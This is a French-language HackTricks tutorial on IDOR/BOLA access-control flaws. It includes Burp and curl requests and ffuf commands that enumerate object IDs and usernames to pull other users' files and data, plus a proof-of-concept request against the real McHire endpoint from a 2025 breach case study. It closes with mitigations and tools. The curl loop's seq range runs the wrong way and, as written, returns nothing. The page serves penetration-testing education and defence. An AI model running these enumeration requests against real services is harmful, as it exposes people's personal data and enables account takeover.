IDOR (Insecure Direct Object Reference)

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) apparaît lorsqu’un endpoint web ou API divulgue ou accepte un identifiant contrôlable par l’utilisateur qui est utilisé directement pour accéder à un objet interne sans vérifier que l’appelant est autorisé à accéder/modifier cet objet. Une exploitation réussie permet généralement une escalade de privilèges horizontale ou verticale, comme la lecture ou la modification des données d’autres utilisateurs et, dans le pire des cas, la prise de contrôle complète d’un compte ou l’exfiltration massive de données.

1. Identifier les IDOR potentiels

  1. Cherchez des paramètres qui référencent un objet :
  • Chemin: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Paramètre de requête: ?id=42, ?invoice=2024-00001
  • Corps / JSON: {"user_id": 321, "order_id": 987}
  • En-têtes / Cookies: X-Client-ID: 4711
  1. Privilégiez les endpoints qui lisent ou modifient des données (GET, PUT, PATCH, DELETE).
  2. Remarquez quand les identifiants sont séquentiels ou prévisibles – si votre ID est 64185742, alors 64185741 existe probablement.
  3. Explorez des flux cachés ou alternatifs (par ex. le lien “Paradox team members” sur les pages de connexion) qui pourraient exposer des APIs supplémentaires.
  4. Utilisez une session authentifiée à faible privilège et changez uniquement l’ID en conservant le même token/cookie. L’absence d’une erreur d’autorisation est généralement un signe d’IDOR.

Manipulation manuelle rapide (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

Énumération automatisée (Burp Intruder / curl loop)

for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

Énumération des IDs de téléchargement prévisibles (ffuf)

Les panels d’hébergement de fichiers authentifiés stockent souvent les métadonnées par utilisateur dans une seule table files et exposent un endpoint de téléchargement tel que /download.php?id=<int>. Si le handler vérifie seulement si l’ID existe (et pas s’il appartient à l’utilisateur authentifié), vous pouvez balayer l’espace des entiers avec votre cookie de session valide et voler les backups/configs d’autres locataires :

ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json    # fetch surviving IDs such as company backups or signing keys
  • -fr supprime les templates de type 404 pour ne conserver que les vrais hits (p.ex., IDs 54/150 leaking full site backups and signing material).
  • Le même workflow FFUF fonctionne avec Burp Intruder ou une boucle curl — assurez-vous simplement de rester authentifié pendant l’incrémentation des IDs.

Error-response oracle for user/file enumeration

Lorsqu’un download endpoint accepte à la fois un username et un filename (p.ex. /view.php?username=<u>&file=<f>), des différences subtiles dans les messages d’erreur créent souvent un oracle :

  • username non existant → “User not found”
  • filename invalide mais extension valide → “File does not exist” (parfois liste aussi les fichiers disponibles)
  • mauvaise extension → erreur de validation

Avec n’importe quelle session authentifiée, vous pouvez fuzz le paramètre username tout en conservant un filename bénin et filtrer sur la chaîne “user not found” pour découvrir des utilisateurs valides :

ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

Une fois des noms d’utilisateur valides identifiés, demandez directement des fichiers spécifiques (par ex., /view.php?username=amanda&file=privacy.odt). Ce schéma conduit souvent à la divulgation non autorisée des documents d’autres utilisateurs et à la credential leakage.

2. Étude de cas réelle – McHire Chatbot Platform (2025)

Lors d’une évaluation du portail de recrutement McHire propulsé par Paradox.ai, l’IDOR suivant a été découvert :

  • Endpoint: PUT /api/lead/cem-xhr
  • Authorization: cookie de session utilisateur pour n’importe quel compte de test restaurant
  • Body parameter: {"lead_id": N} – identifiant numérique séquentiel de 8 chiffres

En diminuant lead_id, le testeur a récupéré les full PII de candidats arbitraires (nom, e-mail, téléphone, adresse, préférences d’horaires) ainsi qu’un consumer JWT qui a permis le session hijacking. L’énumération de la plage 1 – 64,185,742 a exposé environ 64 millions d’enregistrements.

Requête Proof-of-Concept :

curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

Combinée avec default admin credentials (123456:123456) qui donnaient accès au compte de test, la vulnérabilité a entraîné une fuite de données critique à l’échelle de l’entreprise.

3. Impact de l’IDOR / BOLA

  • Escalade horizontale – lire/modifier/supprimer les données d’autres utilisateurs.
  • Escalade verticale – un utilisateur à faible privilège obtient des fonctionnalités réservées aux admins.
  • Fuite massive de données si les identifiants sont séquentiels (par ex., identifiants de candidats, factures).
  • Prise de compte en volant des tokens ou en réinitialisant les mots de passe d’autres utilisateurs.

4. Mesures d’atténuation & bonnes pratiques

  1. Appliquer l’autorisation au niveau de l’objet sur chaque requête (user_id == session.user).
  2. Privilégier des identifiants indirects et impossibles à deviner (UUIDv4, ULID) plutôt que des IDs auto-incrémentés.
  3. Effectuer l’autorisation côté serveur, ne jamais se fier aux champs de formulaire cachés ou aux contrôles UI.
  4. Implémenter des vérifications RBAC / ABAC dans un middleware central.
  5. Ajouter rate-limiting & logging pour détecter l’énumération des IDs.
  6. Tester la sécurité de chaque nouvel endpoint (tests unitaires, d’intégration et DAST).

5. Outils

  • BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Github projects: bwapp-idor-scanner, Blindy (recherche d’IDOR en masse).

References

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks